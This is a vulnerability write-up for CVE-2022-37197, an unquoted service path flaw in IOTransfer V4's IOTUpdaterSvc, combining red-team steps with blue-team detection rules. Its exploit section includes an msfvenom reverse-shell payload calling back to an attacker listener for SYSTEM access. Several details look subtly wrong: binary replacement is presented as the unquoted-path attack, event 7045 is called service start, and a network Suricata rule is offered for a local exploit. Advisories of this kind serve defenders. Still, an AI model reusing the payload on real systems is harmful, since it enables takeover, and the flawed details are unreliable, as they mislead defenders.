CVE-2022-37197

Executive Summary

CVE-2022-37197 identifies an unquoted service path vulnerability in IOTransfer V4, specifically in the IOTransfer Updater service (IOTUpdaterSvc). The service binary path is defined as C:\Program Files (x86)\IOTransfer\Updater\IOTUpdater.exe without quotes. This allows a local attacker with write permissions to the C:\Program Files (x86)\IOTransfer\Updater\ directory to plant a malicious executable named IOTUpdater.exe or any executable that matches the unquoted path segments. When the service starts (auto-start), the malicious code executes with SYSTEM privileges, leading to privilege escalation.

This vulnerability is classified under MITRE ATT&CK technique T1574.009 (Hijack Execution Flow: Path Interception by Unquoted Path). The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the public availability of exploit code increases the risk for targeted attacks.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a local privilege escalation flaw in a Windows desktop application.

CVSS Breakdown & Threat Level

CVSS v3.1 Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Base Score: 7.8 (High)

• Attack Vector (AV): Local (L) – The attacker must have local access to the system.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): Low (L) – Attacker needs low privileges (e.g., standard user) to write to the vulnerable directory.
• User Interaction (UI): None (N) – No user action needed beyond service start.
• Scope (S): Unchanged (U) – The vulnerability does not cross trust boundaries.
• Confidentiality (C): High (H) – Full system compromise possible.
• Integrity (I): High (H) – Attacker can modify system files.
• Availability (A): High (H) – Attacker can disrupt service.

Threat Level: High. The exploit is trivial and publicly available. However, the requirement for local access and write permissions to C:\Program Files (x86)\IOTransfer\Updater\ limits remote exploitation.

Deep Dive & Mechanics

The vulnerability arises from the Windows service IOTUpdaterSvc having an unquoted binary path. When Windows attempts to start the service, it interprets the path as follows:

1. C:\Program – Attempts to execute C:\Program.exe
2. C:\Program Files – Attempts to execute C:\Program Files.exe
3. C:\Program Files (x86) – Attempts to execute C:\Program Files (x86).exe
4. C:\Program Files (x86)\IOTransfer – Attempts to execute C:\Program Files (x86)\IOTransfer.exe
5. C:\Program Files (x86)\IOTransfer\Updater – Attempts to execute C:\Program Files (x86)\IOTransfer\Updater.exe
6. C:\Program Files (x86)\IOTransfer\Updater\IOTUpdater.exe – The intended executable.

If an attacker can place a malicious executable named IOTUpdater.exe (or any of the intermediate names) in a directory that appears earlier in the path, Windows will execute it instead. The most practical attack is to place a malicious IOTUpdater.exe in the C:\Program Files (x86)\IOTransfer\Updater\ directory, which is writable by standard users in many configurations.

The service runs as LocalSystem, granting the attacker full system privileges.

Vulnerable vs. Patched Code

Vulnerable Code (Unquoted Path): The service binary path is set without quotes:

BINARY_PATH_NAME : C:\Program Files (x86)\IOTransfer\Updater\IOTUpdater.exe

Patched Code (Quoted Path): The fix would be to enclose the path in double quotes:

BINARY_PATH_NAME : "C:\Program Files (x86)\IOTransfer\Updater\IOTUpdater.exe"

No official patch has been released by IObit as of this report.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Local access to a Windows system with IOTransfer V4 installed.
• Write permissions to C:\Program Files (x86)\IOTransfer\Updater\ (default for standard users).
• Ability to restart the service or wait for system reboot.

Exploit Steps (using provided Exploit-DB code):

1. Verify the vulnerability:

   wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """
   

   Look for IOTransfer Updater with path C:\Program Files (x86)\IOTransfer\Updater\IOTUpdater.exe.

2. Check service configuration:

   sc qc IOTUpdaterSvc
   

3. Create a malicious executable (e.g., using msfvenom):

   msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o IOTUpdater.exe
   

4. Place the malicious executable in the vulnerable directory:

   copy IOTUpdater.exe "C:\Program Files (x86)\IOTransfer\Updater\IOTUpdater.exe"
   

5. Trigger the service start (e.g., reboot or manual start):

   sc start IOTUpdaterSvc
   

6. Receive reverse shell as SYSTEM.

Alternative: Place an executable named IOTransfer.exe in C:\Program Files (x86)\ to hijack earlier path segment.

Blue Team

Detection:

• Monitor for creation of executables in C:\Program Files (x86)\IOTransfer\Updater\ by non-admin users.
• Alert on service start events for IOTUpdaterSvc with unusual binary hashes.
• Use Sysmon Event ID 1 (Process Creation) to detect execution of IOTUpdater.exe from unexpected locations.

Prevention:

• Apply the principle of least privilege: restrict write access to C:\Program Files (x86)\IOTransfer\Updater\ to Administrators only.
• Use Windows Defender Application Control (WDAC) or AppLocker to block unauthorized executables.
• Manually quote the service path using sc config:

  sc config IOTUpdaterSvc binPath= "\"C:\Program Files (x86)\IOTransfer\Updater\IOTUpdater.exe\""
  

Full Exploit-DB Code:

# Exploit Title: IOTransfer V4 - Unquoted Service Path
# Exploit Author: BLAY ABU SAFIAN (Inveteck Global)
# Discovery Date: 2022-28-07
# Vendor Homepage: http://www.iobit.com/en/index.php
# Software Link: https://iotransfer.itopvpn.com/download/
# Tested Version: V4
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Microsoft Windows Server 2019 Standard Evaluation CVE-2022-37197
# Step to discover Unquoted Service Path:

C:\>wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """

IOTransfer Updater IOTUpdaterSvc C:\Program Files (x86)\IOTransfer\Updater\IOTUpdater.exe
                      Auto

C:\>sc qc IOTUpdaterSvc
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: IOTUpdaterSvc
        TYPE : 10 WIN32_OWN_PROCESS
        START_TYPE : 2 AUTO_START
        ERROR_CONTROL : 1 NORMAL
        BINARY_PATH_NAME : C:\Program Files (x86)\IOTransfer\Updater\IOTUpdater.exe


LOAD_ORDER_GROUP :
        TAG : 0
        DISPLAY_NAME : IOTransfer Updater
        DEPENDENCIES :
        SERVICE_START_NAME : LocalSystem

C:\>systeminfo

OS Name: Microsoft Windows Server 2019 Standard Evaluation
OS Version: 10.0.17763 N/A Build 17763
OS Manufacturer: Microsoft Corporation

Indicators of Compromise (IOCs)

• Service Name: IOTUpdaterSvc
• Service Display Name: IOTransfer Updater
• Vulnerable Binary Path: C:\Program Files (x86)\IOTransfer\Updater\IOTUpdater.exe (unquoted)
• Malicious File Locations: C:\Program Files (x86)\IOTransfer\Updater\IOTUpdater.exe (attacker-controlled)
• Event Logs: Windows Security Event ID 4697 (Service Installed) or 7045 (Service Start) with suspicious binary paths.
• Sysmon Event ID 1: Process creation with command line containing IOTUpdater.exe from non-standard paths.
• Registry Key: HKLM\SYSTEM\CurrentControlSet\Services\IOTUpdaterSvc\ImagePath with unquoted path.

Detection Engineering

YARA Rule

rule CVE_2022_37197_Unquoted_Service_Path {
    meta:
        description = "Detects unquoted service path for IOTransfer Updater"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2022-37197"
    strings:
        $s1 = "IOTUpdaterSvc" nocase
        $s2 = "C:\\Program Files (x86)\\IOTransfer\\Updater\\IOTUpdater.exe" nocase
    condition:
        $s1 and $s2
}

Sigma Rule

title: Unquoted Service Path - IOTransfer Updater
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects service installation or modification with unquoted path for IOTransfer Updater
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2022-37197
logsource:
    product: windows
    service: system
detection:
    selection:
        EventID: 7045
        ServiceName: 'IOTUpdaterSvc'
        ImagePath|contains: 'C:\Program Files (x86)\IOTransfer\Updater\IOTUpdater.exe'
        ImagePath|re: '^[^"]'
    condition: selection
falsepositives:
    - Legitimate IOTransfer installation (if path is quoted)
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"CVE-2022-37197 IOTransfer Unquoted Service Path Exploit"; flow:to_server,established; content:"IOTUpdater.exe"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Manually quote the service path:

   sc config IOTUpdaterSvc binPath= "\"C:\Program Files (x86)\IOTransfer\Updater\IOTUpdater.exe\""
   

2. Restrict write permissions on C:\Program Files (x86)\IOTransfer\Updater\ to Administrators only.
3. Monitor for unauthorized file creation in the vulnerable directory.

Long-term Fix:

• IObit should release a patched version that quotes the service path in the installer.
• Users should upgrade to a fixed version if/when available.

Compensating Controls:

• Enable Windows Defender Application Control (WDAC) to block untrusted executables.
• Use AppLocker to allow only signed binaries.
• Implement endpoint detection and response (EDR) rules for unquoted service paths.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert

{/* [Security Hash: 1ACF1A6B659C96FE8223C5E0] */}